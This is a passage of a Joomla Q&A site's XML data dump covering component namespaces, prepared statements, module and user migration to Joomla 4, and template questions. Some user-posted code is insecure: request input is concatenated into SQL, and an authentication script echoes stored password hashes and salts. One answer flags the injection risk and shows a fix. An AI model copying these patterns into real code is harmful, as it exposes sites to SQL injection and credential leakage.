&amp;lt;/administration&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h5&gt;DisplayController.php&lt;/h5&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;namespace Firecase\Component\MyComponent\Administrator\Controller;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;&#xA;class DisplayController extends BaseController&#xA;{&#xA;    protected $default_view = 'mycomponent';&#xA;&#xA;    public function display($cachable = true, $urlparams = array())&#xA;    {&#xA;        return parent::display($cachable, $urlparams);&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h5&gt;provider.php&lt;/h5&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Dispatcher\ComponentDispatcherFactoryInterface;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\CMS\Extension\MVCComponent;&#xA;use Joomla\CMS\Extension\Service\Provider\ComponentDispatcherFactory;&#xA;use Joomla\CMS\Extension\Service\Provider\MVCFactory;&#xA;use Joomla\CMS\MVC\Factory\MVCFactoryInterface;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;&#xA;return new class implements ServiceProviderInterface&#xA;{&#xA;    public function register(Container $container): void {&#xA;        $container-&amp;gt;registerServiceProvider(new MVCFactory('\\Firecase\\Component\\MyComponent'));&#xA;        $container-&amp;gt;registerServiceProvider(new ComponentDispatcherFactory('\\Firecase\\Component\\MyComponent'));&#xA;        $container-&amp;gt;set(&#xA;            ComponentInterface::class,&#xA;            function (Container $container) {&#xA;                $component = new MVCComponent($container-&amp;gt;get(ComponentDispatcherFactoryInterface::class));&#xA;                $component-&amp;gt;setMVCFactory($container-&amp;gt;get(MVCFactoryInterface::class));&#xA;&#xA;                return $component;&#xA;            }&#xA;        );&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h5&gt;directory structure&lt;/h5&gt;&#xA;&lt;pre&gt;&lt;code&gt;com_mycomponent&#xA;├─ admin&#xA;│  ├─ services&#xA;│  │  └─ provider.php&#xA;│  ├─ src&#xA;│  │  ├─ controller&#xA;│  │  │  └─ DisplayController.php&#xA;│  │  ├─ model&#xA;│  │  └─ view&#xA;│  │     └─ mycomponent&#xA;│  │        └─ HtmlView.php&#xA;│  └─ tmpl&#xA;│     └─ mycomponent&#xA;│        └─ default.php&#xA;├─ site&#xA;│  └─ src&#xA;│     ├─ controller&#xA;│     ├─ model&#xA;│     └─ view&#xA;└─ mycomponent.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16899" LastEditorUserId="16899" LastEditDate="2023-03-16T09:48:04.237" LastActivityDate="2023-03-16T09:48:04.237" Title="Invalid controller class: display" Tags="|component|joomla-4.x|" AnswerCount="2" CommentCount="17" ContentLicense="CC BY-SA 4.0" />
  <row Id="32852" PostTypeId="2" ParentId="32829" CreationDate="2023-03-07T18:07:17.573" Score="2" Body="&lt;p&gt;We can improve queries with prepared statements. As example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db&#xA;    -&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__mail_templates'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('template_id') . ' = :getRowId')&#xA;    -&amp;gt;where($db-&amp;gt;qn('language') . ' = :languageCode')&#xA;    -&amp;gt;bind(':getRowId', $this-&amp;gt;getRowId())&#xA;    -&amp;gt;bind(':languageCode', $languageCode);&#xA;    &#xA;$db-&amp;gt;setQuery($query);&#xA;        &#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Moving_Joomla_To_Prepared_Statements&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Moving_Joomla_To_Prepared_Statements&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16614" LastEditorUserId="16614" LastEditDate="2023-03-07T22:21:14.963" LastActivityDate="2023-03-07T22:21:14.963" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32853" PostTypeId="2" ParentId="32851" CreationDate="2023-03-07T22:55:44.480" Score="1" Body="&lt;p&gt;You have a lowercase 'f' in firecase, it should be Firecase. Namespaces in Joomla are very particular about having the first character of each level as an uppercase.&lt;/p&gt;&#xA;&lt;p&gt;And you have a path of &amp;quot;src/&amp;quot;, it is most likely you only need to use &amp;quot;src&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-03-07T22:55:44.480" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32854" PostTypeId="1" CreationDate="2023-03-08T10:13:53.523" Score="1" ViewCount="28" Body="&lt;p&gt;I have created a custom filter.xml to search for specific documents.&#xA;Using Joomla's category system, I have also create 3 main categories. Courtrolls, Newsletter and communique.&lt;/p&gt;&#xA;&lt;p&gt;In my filter form, I have the following field:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field type=&amp;quot;category&amp;quot;&#xA;       category=&amp;quot;19&amp;quot;&#xA;       name=&amp;quot;roll&amp;quot;&#xA;       extension=&amp;quot;com_courtroll&amp;quot;&#xA;       label=&amp;quot;Select a category&amp;quot;&#xA;       description=&amp;quot;&amp;quot;&#xA;       default=&amp;quot;19&amp;quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The problem is that I only want to have Courtrolls and its subcategories in this field, but it shows all my components categories.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastEditorUserId="12352" LastEditDate="2023-03-08T22:18:42.807" LastActivityDate="2023-03-08T22:18:42.807" Title="Display only one Category and its sub-categories" Tags="|custom-component|form|category|xml|fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32855" PostTypeId="2" ParentId="32851" CreationDate="2023-03-08T10:53:23.427" Score="0" Body="&lt;p&gt;Try changing the following&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Firecase\Component\MyComponent&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;src/&amp;quot;&amp;gt;Firecase\Component\MyComponent&amp;lt;/namespace&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Adding the slash may fix the path attribute to the correct path.&lt;/p&gt;&#xA;&lt;p&gt;Also check&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&amp;quot;1.0.0&amp;quot; type=&amp;quot;component&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Have you tried changing it to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&amp;quot;component&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;ADDED:&lt;/p&gt;&#xA;&lt;p&gt;I  ran into same problem. In my case some of Joomla's core methods were overridden. Try updating your Joomla in the Dashboard and then &amp;quot;Upload and Update&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastEditorUserId="16521" LastEditDate="2023-03-13T14:14:16.080" LastActivityDate="2023-03-13T14:14:16.080" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32856" PostTypeId="1" AcceptedAnswerId="32873" CreationDate="2023-03-08T15:28:30.350" Score="1" ViewCount="263" Body="&lt;p&gt;Fresh install of Joomla 4 with the Cassiopeia template and I just set the menu module layout to collapsible Dropdown.&lt;/p&gt;&#xA;&lt;p&gt;Now the hamburger menu is there for mobile and it will expand but not close? It adds the class &amp;quot;collasping&amp;quot; but then immediately reverts to &amp;quot;collapse show&amp;quot;. So looks like its not removing the &amp;quot;show&amp;quot; class.&lt;/p&gt;&#xA;&lt;p&gt;This is the same if I set it as Default collapsible too. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2023-03-14T11:00:09.630" Title="Cassiopeia hamburger menu doesnt collapse" Tags="|joomla-4.x|css|bootstrap|html|cassiopeia|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32857" PostTypeId="1" CreationDate="2023-03-08T17:22:41.693" Score="3" ViewCount="393" Body="&lt;p&gt;I have a Joomla 3.x module which calls the category name from the database and then shows this in the module position.&lt;/p&gt;&#xA;&lt;p&gt;It does this with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $db = &amp;amp;JFactory::getDBO(); &#xA;    $id = JRequest::getString('id'); &#xA;    $view = JRequest::getString('view'); &#xA;&#xA;    if ($view == 'category') {&#xA;        $sql = &amp;quot;SELECT title FROM #__categories WHERE #__categories.id = $id&amp;quot;;&#xA;    } else {&#xA;        $sql = &amp;quot;SELECT #__categories.title FROM #__content, #__categories WHERE #__content.catid = #__categories.id AND #__content.id = $id&amp;quot;;&#xA;    }&#xA;&#xA;    $db-&amp;gt;setQuery($sql); &#xA;    $category = $db-&amp;gt;loadResult(); &#xA;    echo '&amp;lt;h1&amp;gt;' . $category . '&amp;lt;/h1&amp;gt;'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works in Joomla 3, but in Joomla 4 I'm getting an error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Attempted to load class &amp;quot;JRequest&amp;quot; from the global namespace.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What's the best way to get this working in Joomla 4?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2023-03-10T17:20:30.333" Title="Migrating custom module to Joomla 4" Tags="|joomla-4.x|database|custom-module|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32858" PostTypeId="2" ParentId="32857" CreationDate="2023-03-08T18:14:37.310" Score="3" Body="&lt;p&gt;&lt;code&gt;JRequest&lt;/code&gt; was deprecated in Joomla 2.5 (I think), so you can now use &lt;code&gt;JInput&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$db = Factory::getDbo();&#xA;$input = Factory::getApplication()-&amp;gt;input;&#xA;$id = $input-&amp;gt;get('id');&#xA;$view = input-&amp;gt;get('view');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You'll definitely want to update your database query, using more modern methods: &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;If&lt;/strong&gt; I'm not mistaken, you're currently prone to SQL injections.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2023-03-08T18:14:37.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32859" PostTypeId="2" ParentId="32854" CreationDate="2023-03-08T21:55:17.323" Score="1" Body="&lt;p&gt;You could use the &lt;strong&gt;SQL form field type&lt;/strong&gt; type to get the right categories + their catids. See: &lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/SQL_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or better: &lt;strong&gt;create&lt;/strong&gt; for your component its &lt;strong&gt;own Fields&lt;/strong&gt; that you load in that XML.&#xA;See for example how Joomla 4 uses Fields for the com_content component: &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/4.2-dev/administrator/components/com_content/src/Field&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/tree/4.2-dev/administrator/components/com_content/src/Field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-03-08T21:55:17.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32860" PostTypeId="1" CreationDate="2023-03-09T05:40:28.283" Score="3" ViewCount="319" Body="&lt;p&gt;So I successfully migrated users from a Joomla 3 database into a Joomla 4 database.  I am hoping there is a nicer way if anyone has done it.&lt;/p&gt;&#xA;&lt;p&gt;In particular, I couldn't work out how to create a user using the UserModel with a specific Id.  Hence I had to set the user table autoincrement in the database to a high number to avoid collisions for when I set them back.&lt;/p&gt;&#xA;&lt;p&gt;I get the impression that using the UserModel here is completely redundant and this would be better as a raw sql insert - but the question is... is there a good way to programmatically create users with known ids and password hashes.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$options = [&#xA;    'host'  =&amp;gt; 'localhost',&#xA;    'database' =&amp;gt; 'xxxxxxxxxxxx',&#xA;    'password' =&amp;gt; 'xxxxxxxxxxxx',&#xA;    'user' =&amp;gt; 'xxxxxxxxxxxxxxx',&#xA;    'prefix' =&amp;gt; 'xxxxxx_',&#xA;];&#xA;&#xA;// Connect to Old Joomla 3 Database&#xA;&#xA;$odb = (new DatabaseFactory)-&amp;gt;getDriver('mysqli', $options);&#xA;   &#xA;$query = $odb-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*');&#xA;$query-&amp;gt;from('#__users');&#xA;$query-&amp;gt;order('id');&#xA;$odb-&amp;gt;setQuery($query);&#xA;$existing_users = $odb-&amp;gt;loadAssocList('username');&#xA;&#xA;$MvcFactory = $app-&amp;gt;bootComponent('com_users')-&amp;gt;getMVCFactory();&#xA;&#xA;foreach($existing_users as $data){&#xA;&#xA;    // Start everyone as Registered&#xA;    $data['groups'] = [2];&#xA;&#xA;    unset($data[&amp;quot;id&amp;quot;]);&#xA;    unset($data[&amp;quot;lastResetTime&amp;quot;]);&#xA;    unset($data[&amp;quot;resetCount&amp;quot;]);&#xA;    unset($data[&amp;quot;otpKey&amp;quot;]);&#xA;    unset($data[&amp;quot;otep&amp;quot;]);&#xA;    unset($data[&amp;quot;requireReset&amp;quot;]);&#xA;    unset($data[&amp;quot;authProvider&amp;quot;]);&#xA;    unset($data[&amp;quot;params&amp;quot;]);&#xA;&#xA;    // This needs to be an array so either json_decode old value or set blank&#xA;    $data[&amp;quot;params&amp;quot;] = [];&#xA;&#xA;    // empty date should be NULL in these times&#xA;    if($data[&amp;quot;lastvisitDate&amp;quot;] == &amp;quot;0000-00-00 00:00:00&amp;quot;){&#xA;        unset($data[&amp;quot;lastvisitDate&amp;quot;]);&#xA;    }&#xA;&#xA;    $userModel = $MvcFactory-&amp;gt;createModel('User', 'Administrator', ['ignore_request' =&amp;gt; true]);&#xA;&#xA;    // This will make a new id and hash the old hashed password&#xA;    if (!$userModel-&amp;gt;save($data)){&#xA;        throw new Exception($userModel-&amp;gt;getError());&#xA;    }&#xA;}&#xA;&#xA;// Now Set all the Ids and Passwords back as they were&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('id,username');&#xA;$query-&amp;gt;from('#__users');&#xA;$db-&amp;gt;setQuery($query);&#xA;$users = $db-&amp;gt;loadAssocList();&#xA;&#xA;foreach($users as $u){&#xA;&#xA;    // Skip any New Joomla 4 Users&#xA;    if(empty($existing_users[$u['username']])){continue;}&#xA;&#xA;    $sql = 'UPDATE `#__users` SET `id` = ' . $existing_users[$u['username']]['id'] . ', `password` = &amp;quot;' . $existing_users[$u['username']]['password'] . '&amp;quot; WHERE `id` = ' . $u['id'];&#xA;    $sql2 = 'UPDATE `#__user_usergroup_map` SET `user_id` = ' . $existing_users[$u['username']]['id'] . ' WHERE `user_id` = ' . $u['id'];&#xA;&#xA;    $db-&amp;gt;setQuery($sql);&#xA;    $db-&amp;gt;execute();&#xA;    $db-&amp;gt;setQuery($sql2);&#xA;    $db-&amp;gt;execute();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2023-12-22T08:05:00.617" Title="Migrate Users from Joomla 3 to Joomla 4 with same UserIds and Passwords" Tags="|joomla-4.x|user|migration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32861" PostTypeId="2" ParentId="32857" CreationDate="2023-03-09T10:27:50.730" Score="4" Body="&lt;p&gt;Lodder's answer is fully valid, however he did not want to waste time to reformulate the query part of this old script in the question. As a morning drill during my coffee time I corrected that part too:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory; &#xA;&#xA;// get the Input object if $this-&amp;gt;input is not avail&#xA;$app = Factory::getApplication();&#xA;$input = $app-&amp;gt;input; &#xA;&#xA;// $db = Factory::getDbo();&#xA;$db = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;&#xA;$id = $input-&amp;gt;get('id', '', 'string');&#xA;$view = $input-&amp;gt;get('view', '', 'string');    &#xA;    &#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;if ($view == 'category') {&#xA;&#xA;    $query-&amp;gt;select('title')&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__categories'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = :id')&#xA;        -&amp;gt;bind(':id', $id);&#xA;&#xA;} else {&#xA;    &#xA;    $query-&amp;gt;select('b.title')&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__content', 'a'))&#xA;        -&amp;gt;innerJoin($db-&amp;gt;quoteName('#__categories', 'b') . ' ON a.catid = b.id')&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('a.id') . ' = :id')&#xA;        -&amp;gt;bind(':id', $id);&#xA;}&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$category = $db-&amp;gt;loadResult(); &#xA;echo '&amp;lt;h1&amp;gt;' . $category . '&amp;lt;/h1&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-03-09T11:20:32.113" LastActivityDate="2023-03-09T11:20:32.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32862" PostTypeId="1" CreationDate="2023-03-07T09:39:14.447" Score="1" ViewCount="70" Body="&lt;p&gt;Not so much a question as a review request.&#xA;I am currently working on an app which needs to authenticate a user against an existing Joomla database which I have access to. As the password field in the database holds an encrypted password (and I can find no ready-to-go solution), I set about creating my own…&lt;/p&gt;&#xA;&lt;p&gt;Although my need is related to an iOS app which I am developing, I believe that it is a workable solution for general use&lt;/p&gt;&#xA;&lt;p&gt;Looking at the hashed passwords, I realised that they were in Blowfish format so that - knowing the password - I should be able to extract the salt then use it to hash the user's password before attempting to authenticate.&lt;/p&gt;&#xA;&lt;p&gt;The code assumes a working knowledge of Joomla / MySQL / PHP / JSON queries&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;require(&amp;quot;conf.php&amp;quot;);&#xA;$conn = new mysqli($host, $username, $password, $database);&#xA;// if there is some error connecting to the database&#xA;// with die we will stop the further execution by displaying a message causing the error &#xA;if ($conn-&amp;gt;connect_error) {&#xA;    die(&amp;quot;Connection failed: &amp;quot; . $conn-&amp;gt;connect_error);&#xA;}&#xA;&#xA;// Check that it is a POST request.&#xA;if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){&#xA;    throw new Exception('Request method must be POST!');&#xA;}&#xA;&#xA;// Check that the content type of the POST request has been set to application/json&#xA;$contentType = isset($_SERVER[&amp;quot;CONTENT_TYPE&amp;quot;]) ? trim($_SERVER[&amp;quot;CONTENT_TYPE&amp;quot;]) : '';&#xA;if(strcasecmp($contentType, 'application/json') != 0){&#xA;    throw new Exception('Content type must be: application/json');&#xA;}&#xA;&#xA;// Receive the RAW post data.&#xA;$content = trim(file_get_contents(&amp;quot;php://input&amp;quot;));&#xA;// ttempt to decode the incoming RAW post data from JSON.&#xA;$decoded = json_decode($content, true);&#xA;// If json_decode failed, the JSON is invalid.&#xA;if(!is_array($decoded)){&#xA;    throw new Exception('Received content contained invalid JSON!');&#xA;}&#xA;&#xA;// Get username and password from POST data&#xA;$username = $decoded[&amp;quot;username&amp;quot;];&#xA;$pass = $decoded[&amp;quot;password&amp;quot;];&#xA;&#xA;//creating an array for storing the data &#xA;$userDetails = array(); &#xA;&#xA;// Get stored password field from db and store in variable&#xA;$sql = &amp;quot;SELECT password FROM &amp;quot;.$dbprefix.&amp;quot;users WHERE username = '$username'&amp;quot;;&#xA;$stmt = $conn-&amp;gt;prepare($sql);&#xA;$stmt-&amp;gt;execute();&#xA;$result = $stmt-&amp;gt;get_result();&#xA;$row = $result-&amp;gt;fetch_assoc();&#xA;$encryptedStr = $row['password'];&#xA;    &#xA;// Process password from DB extracting salt and hash value&#xA;$bits = array();&#xA;$salt = substr($encryptedStr, 7, 22);&#xA;$hash = substr($encryptedStr, 29);&#xA;$crypted = crypt($pass, &amp;quot;$2y$10$&amp;quot;.$salt);&#xA;&#xA;// Add to JSON for information - not necessary for live site&#xA;array_push($bits, &amp;quot;From DB: &amp;quot;.$encryptedStr); &#xA;array_push($bits, &amp;quot;Crypted: &amp;quot;.$crypted); &#xA;array_push($bits, &amp;quot;Salt: &amp;quot;.$salt); &#xA;array_push($bits, &amp;quot;Hash: &amp;quot;.$hash); &#xA;&#xA;array_push($userDetails, $bits);&#xA;&#xA;// SQL statement using password in same format as DB - in the example, &#xA;// using the id field - however any other field will do&#xA;$sql = &amp;quot;SELECT id FROM &amp;quot;.$dbprefix.&amp;quot;users WHERE username = '$username' AND password = '$crypted'&amp;quot;;&#xA;$stmt = $conn-&amp;gt;prepare($sql);&#xA;$stmt-&amp;gt;execute();&#xA;$result = $stmt-&amp;gt;get_result();&#xA;$row = $result-&amp;gt;fetch_assoc();&#xA;$id = $row['id'];&#xA;&#xA;// Add user id to JSON&#xA;array_push($userDetails, $id);&#xA;&#xA;// Return JSON from server&#xA;echo json_encode($userDetails);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16947" OwnerDisplayName="oldgit" LastActivityDate="2023-03-10T08:42:48.297" Title="Joomla user authentication from iOS/Android app - any feedback?" Tags="|authentication|" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="32863" PostTypeId="1" CreationDate="2023-03-10T15:55:31.067" Score="0" ViewCount="215" Body="&lt;p&gt;I have a fresh install of Cassiopeia/Joomla 4 and I am trying to give the Category blog 8 columns. When I add that number under Blog Layout it reverts to 1 column? Values 1-4 seem to work. But anything above 4 columns doesnt? Seems like a design flaw to me. How can I override this?&lt;/p&gt;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2024-04-03T23:07:45.927" Title="Category blog - 8 column layout" Tags="|joomla-4.x|css|category-blog|html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32864" PostTypeId="2" ParentId="32857" CreationDate="2023-03-10T17:20:30.333" Score="1" Body="&lt;p&gt;&lt;code&gt;$input = $app-&amp;gt;input;&lt;/code&gt; is deprecated too. You should use in Joomla 4 &lt;code&gt;$input = $app-&amp;gt;getInput();&lt;/code&gt; instead.&lt;/p&gt;&#xA;&lt;p&gt;Also you can load database form DI container by this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Database\DatabaseInterface;&#xA;$db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13868" LastActivityDate="2023-03-10T17:20:30.333" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32865" PostTypeId="2" ParentId="32863" CreationDate="2023-03-10T19:15:43.343" Score="0" Body="&lt;p&gt;You should read &lt;a href=&quot;https://slides.woluweb.be/cassiopeia/cassiopeia.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://slides.woluweb.be/cassiopeia/cassiopeia.html&lt;/a&gt; &amp;quot;Joomla 4 – Cassiopeia Template – a bunch of Tips &amp;amp; Tricks&amp;quot; by Marc Dechèvre. This article can help you.&lt;/p&gt;&#xA;" OwnerUserId="13868" LastActivityDate="2023-03-10T19:15:43.343" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32866" PostTypeId="1" AcceptedAnswerId="32868" CreationDate="2023-03-11T04:16:17.257" Score="2" ViewCount="532" Body="&lt;p&gt;I'm struggling with coding an ajax refresh of options in a select list based on what's already selected in the previous field.&lt;/p&gt;&#xA;&lt;p&gt;Scenario is I get a list of positions and each position one or many nominations for that position.  So I display the position name and then a list of each nomination name which has a selection listbox &amp;quot;1st preference&amp;quot;, &amp;quot;2nd preference&amp;quot;, etc and the preferences are dictated by the number of nominations for that position.&lt;/p&gt;&#xA;&lt;p&gt;So when someone selects for example &amp;quot;3rd preference&amp;quot; for the first nomination, I want to remove that &amp;quot;3rd preference&amp;quot; option from the select box of the next nomination's listbox.&#xA;Any clues and guidance on this much appreciated. The following code is what I'm using in the tmpl/default.php.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&amp;quot;form-voter&amp;quot;&#xA;  action=&amp;quot;&amp;lt;?php echo Route::_('index.php?option=com_mycomponent&amp;amp;task=voterform.save'); ?&amp;gt;&amp;quot;&#xA;  method=&amp;quot;post&amp;quot; class=&amp;quot;form-validate form-horizontal&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;?php echo $nominations-&amp;gt;form-&amp;gt;renderFieldset('sysinfo'); ?&amp;gt;&#xA;&amp;lt;?php echo $nominations-&amp;gt;form-&amp;gt;renderField('user_id'); ?&amp;gt;&#xA;&amp;lt;?php echo $nominations-&amp;gt;form-&amp;gt;renderField('cat_id'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php echo LayoutHelper::render('default_proxy', array('data' =&amp;gt; $nominations), dirname(__FILE__)); ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* ------------  Cycle through the positions records and show the nomination   ------ */ ?&amp;gt;&#xA;&amp;lt;?php /* the nominations are in an array of position arrays and then each position array is */ ?&amp;gt;&#xA;&amp;lt;?php /* an array of nominations objects. so Key is the posID */ ?&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ($nominations-&amp;gt;nominations AS $posID =&amp;gt; $nomins) : $NomCntr = 0; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if (is_array($nomins) &amp;amp;&amp;amp; !empty($nomins)) : ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&amp;quot;control-group&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;control-label&amp;quot;&amp;gt;&#xA;                &amp;lt;label id=&amp;quot;jform_nom_ids_lbl&amp;quot; for=&amp;quot;jform_nom_ids_&amp;lt;?php echo $posID; ?&amp;gt;&amp;quot;&amp;gt;&#xA;                    &amp;lt;?php echo $nomins[0]-&amp;gt;position_id_name; ?&amp;gt;&#xA;                &amp;lt;/label&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;controls extrawide&amp;quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php $qtyNoms = \count($nomins); ?&amp;gt;&#xA;                &amp;lt;?php foreach ($nomins AS $nom) : $NomCntr++; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ($NomCntr == 1) : ?&amp;gt;&#xA;                        &amp;lt;?php echo '&amp;lt;p&amp;gt; &amp;lt;p /&amp;gt;&amp;lt;p&amp;gt;'.Text::sprintf('COM_MYCOMPONENT_MULTIPLE_POSITIONS_PREF', $nom-&amp;gt;pos_qty).'&amp;lt;p /&amp;gt;'; ?&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $selectList = MyajaxHelper::displayPrefVoteOptions($nom, $qtyNoms, $posID); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;control-group&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;controls&amp;quot;&amp;gt;&#xA;        &amp;lt;?php if ($nominations-&amp;gt;canSave): ?&amp;gt;&#xA;            &amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;validate btn btn-primary&amp;quot;&amp;gt;&#xA;                &amp;lt;?php echo Text::_('JSUBMIT'); ?&amp;gt;&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;a class=&amp;quot;btn btn-secondary&amp;quot;&#xA;           href=&amp;quot;&amp;lt;?php echo Route::_('index.php?option=com_mycomponent&amp;amp;task=voterform.cancel'); ?&amp;gt;&amp;quot;&#xA;           title=&amp;quot;&amp;lt;?php echo Text::_('JCANCEL'); ?&amp;gt;&amp;quot;&amp;gt;&#xA;            &amp;lt;?php 